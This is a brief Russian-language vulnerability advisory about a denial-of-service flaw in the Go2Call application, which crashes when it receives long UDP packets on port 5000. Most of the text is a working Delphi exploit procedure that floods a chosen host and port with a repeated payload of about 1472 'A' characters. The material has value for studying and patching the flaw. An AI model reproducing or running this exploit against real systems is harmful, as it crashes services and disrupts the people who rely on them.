Программа: Go2Call
Отказ в обслуживании обнаружен в Go2Call. Удаленный пользователь может аварийно завершить работу приложения.
Go2Call не в состоянии обработать длинные UDP пакеты. Злонамеренный пользователь может аварийно завершить работу приложения, посылая пакет длиною 1500 байт к 5000 UDP порту.
Эксплоит:
procedure TForm1.Button1Click(Sender: TObject);
var C:string;
N:integer;
MyStream:TMemoryStream;
begin
Memo1.Lines.Add('start');
C:=Edit3.Text; //for example 'AAAA...' 1472 char 'A' for certain
N:=strtoint(Edit4.Text);
NMUDP1.RemoteHost:=Edit1.Text;
NMUDP1.RemotePort:=strtoint(Edit2.Text);
MyStream:=TMemoryStream.Create;
try
MyStream.Write(C[1],Length(C));
for n:=1 to N do
begin
NMUDP1.SendStream(MyStream);
end;
finally
MyStream.Free;
end;
Memo1.Lines.Add('finish');
end;